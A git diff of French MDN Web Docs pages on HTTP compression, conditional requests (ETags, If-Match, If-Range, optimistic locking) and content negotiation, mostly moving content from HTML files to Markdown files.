
diff --git a/files/fr/web/http/compression/index.md b/files/fr/web/http/compression/index.md new file mode 100644 index 0000000000..49b4794212 --- /dev/null +++ b/files/fr/web/http/compression/index.md @@ -0,0 +1,69 @@ +--- +title: Compression dans HTTP +slug: Web/HTTP/Compression +tags: + - Guide + - HTTP + - compression +translation_of: Web/HTTP/Compression +--- +
{{HTTPSidebar}}
+ +

La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.

+ +

En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :

+ + + +

Fichiers au format compressé

+ +

Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :

+ + + +

Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que webp. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de nombreux outils spécialisés pour cet usage.

+ +

Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.

+ +
+

Note : Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.

+
+ +

Compression de bout en bout

+ +

La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.

+ +

Séquence du serveur au client mettant en œuvre la compression de bout en bout

+ +

L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : gzip, le plus utilisé et br le nouveau venu.

+ +

Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur la négociation du contenu. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.

+ +

Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés

+ +

La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.

+ +

Apache prend en charge la compression et utilise mod_deflate; nginx dispose de ngx_http_gzip_module; pour IIS, il existe l'élément <httpCompression>.

+ +

Compression saut par saut

+ +

La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression différent.

+ +

Compression saut par saut entre le serveur et le client

+ +

HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.

+ +

Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut

+ +

En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.

+ +

Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.

diff --git a/files/fr/web/http/conditional_requests/index.html b/files/fr/web/http/conditional_requests/index.html deleted file mode 100644 index 4590846e91..0000000000 --- a/files/fr/web/http/conditional_requests/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: 'HTTP : Requêtes conditionnelles' -slug: Web/HTTP/Conditional_requests -tags: - - Conditional Requests - - Guide - - HTTP -translation_of: Web/HTTP/Conditional_requests -original_slug: Web/HTTP/Requêtes_conditionnelles ---- -

{{HTTPSidebar}}

- -

Il existe en HTTP un concept de requête conditionnelle où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur.

- -

Principes

- -

Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.

- -

Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :

- - - -

Validateurs

- -

Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes :

- - - -

Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence :

- - - -

La sorte de la vérification est indépendante du validateur utilisé. Last-Modified et ETag permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.

- -

Validation forte

- -

La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance.

- -

Il est assez difficile d'avoir un identifiant unique pour la validation forte avec Last-Modified. On le fait souvent en employant une ETag avec le hachage MD5 de la ressource (ou un dérivé).

- -

Validation faible

- -

La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache.

- -

En-têtes conditionnels

- -

Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes :

- -
-
If-Match
-
Réussit si la ETag de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
-
If-None-Match
-
Réussit si la ETag de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
-
If-Modified-Since
-
Réussit si la date Last-Modified de la ressource distante est plus récente que celle donnée dans l'en-tête.
-
If-Unmodified-Since
-
Réussit si la date Last-Modified de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.
-
If-Range
-
Similaire à If-Match, ou If-Unmodified-Since, mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse 206 Partial Content, un 200 OK est envoyé avec la totalité de la ressource.
-
- -

Cas d'utilisation

- -

Mise à jour du cache

- -

Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut 200 OK.

- -

La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli.

- -

Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs Last-Modified et ETag sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.

- -

Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête Cache-Control, le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes If-Modified-Since et If-Match.

- -

Si la ressource n'a pas changé, le serveur renvoie une réponse 304 Not Modified. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.

- -

Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même.

- -

Si la ressource a changé, le serveur renvoie simplement une réponse 200 OK avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.

- -

Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle.

- -

De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.

- -

Intégrité d'un téléchargement partiel

- -

Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :

- -

Un téléchargement a été stoppé et seule une partie du contenu a été récupérée.

- -

Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête Accept-Ranges. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête Ranges avec les données manquantes :

- -

Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement.

- -

Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise If-Modified-Since et de If-Match, le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début :

- -

Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement.

- -

Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : If-Range:

- -

Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement.

- -

Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.

- -

Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"

- -

Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.

- -

Vous pouvez l'implémenter avec la méthode PUT. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.

- -

Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence.

- -

Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition (race condition) qui conduit à des comportements problématiques difficiles à cerner et à déboguer.

- -

Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…

- -

Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées.

- -

Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (ptimistic locking algorithm) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées :

- -

Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur.

- -

Ce ci est implémenté par les en-têtes If-Match ou If-Unmodified-Since. Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur 412 Precondition Failed. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.

- -

Gérer le premier téléchargement d'une ressource

- -

Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute If-None-Match avec la valeur particulière '*', représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant :

- -

Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela.

- -

If-None-Match fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête HEAD à la ressource pour vérifier.

- -

Conclusion

- -

Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles.

- -

Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.

- -

Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web.

diff --git a/files/fr/web/http/conditional_requests/index.md b/files/fr/web/http/conditional_requests/index.md new file mode 100644 index 0000000000..4590846e91 --- /dev/null +++ b/files/fr/web/http/conditional_requests/index.md @@ -0,0 +1,147 @@ +--- +title: 'HTTP : Requêtes conditionnelles' +slug: Web/HTTP/Conditional_requests +tags: + - Conditional Requests + - Guide + - HTTP +translation_of: Web/HTTP/Conditional_requests +original_slug: Web/HTTP/Requêtes_conditionnelles +--- +

{{HTTPSidebar}}

+ +

Il existe en HTTP un concept de requête conditionnelle où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur.

+ +

Principes

+ +

Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.

+ +

Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :

+ + + +

Validateurs

+ +

Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes :

+ + + +

Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence :

+ + + +

La sorte de la vérification est indépendante du validateur utilisé. Last-Modified et ETag permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.

+ +

Validation forte

+ +

La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance.

+ +

Il est assez difficile d'avoir un identifiant unique pour la validation forte avec Last-Modified. On le fait souvent en employant une ETag avec le hachage MD5 de la ressource (ou un dérivé).

+ +

Validation faible

+ +

La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache.

+ +

En-têtes conditionnels

+ +

Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes :

+ +
+
If-Match
+
Réussit si la ETag de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
+
If-None-Match
+
Réussit si la ETag de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
+
If-Modified-Since
+
Réussit si la date Last-Modified de la ressource distante est plus récente que celle donnée dans l'en-tête.
+
If-Unmodified-Since
+
Réussit si la date Last-Modified de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.
+
If-Range
+
Similaire à If-Match, ou If-Unmodified-Since, mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse 206 Partial Content, un 200 OK est envoyé avec la totalité de la ressource.
+
+ +

Cas d'utilisation

+ +

Mise à jour du cache

+ +

Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut 200 OK.

+ +

La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli.

+ +

Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs Last-Modified et ETag sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.

+ +

Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête Cache-Control, le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes If-Modified-Since et If-Match.

+ +

Si la ressource n'a pas changé, le serveur renvoie une réponse 304 Not Modified. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.

+ +

Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même.

+ +

Si la ressource a changé, le serveur renvoie simplement une réponse 200 OK avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.

+ +

Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle.

+ +

De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.

+ +

Intégrité d'un téléchargement partiel

+ +

Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :

+ +

Un téléchargement a été stoppé et seule une partie du contenu a été récupérée.

+ +

Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête Accept-Ranges. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête Ranges avec les données manquantes :

+ +

Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement.

+ +

Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise If-Modified-Since et de If-Match, le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début :

+ +

Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement.

+ +

Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : If-Range:

+ +

Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement.

+ +

Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.

+ +

Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"

+ +

Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.

+ +

Vous pouvez l'implémenter avec la méthode PUT. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.

+ +

Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence.

+ +

Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition (race condition) qui conduit à des comportements problématiques difficiles à cerner et à déboguer.

+ +

Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…

+ +

Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées.

+ +

Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (ptimistic locking algorithm) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées :

+ +

Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur.

+ +

Ce ci est implémenté par les en-têtes If-Match ou If-Unmodified-Since. Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur 412 Precondition Failed. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.

+ +

Gérer le premier téléchargement d'une ressource

+ +

Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute If-None-Match avec la valeur particulière '*', représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant :

+ +

Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela.

+ +

If-None-Match fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête HEAD à la ressource pour vérifier.

+ +

Conclusion

+ +

Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles.

+ +

Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.

+ +

Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web.

diff --git a/files/fr/web/http/content_negotiation/index.html b/files/fr/web/http/content_negotiation/index.html deleted file mode 100644 index a1fe95c477..0000000000 --- a/files/fr/web/http/content_negotiation/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: La négociation de contenu -slug: Web/HTTP/Content_negotiation -translation_of: Web/HTTP/Content_negotiation ---- -
{{HTTPSidebar}}
- -

En HTTP, la négociation de contenu est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).

- -

Principes de la négociation de contenu

- -

Un document spécifique s'appelle une ressource. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la négociation de contenu et il existe plusieurs façons de négocier entre le client et le serveur.

- -

- -

La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:

- - - -

Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête Alternates, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.

- -

La négociation de contenu gérée par le serveur

- - - -

Dans la négociation de contenu gérée par le serveur, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'algorithme de négociation d'Apache 2.2.

- -

- -

La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les caches puissent fonctionner de manière optimale.

- -

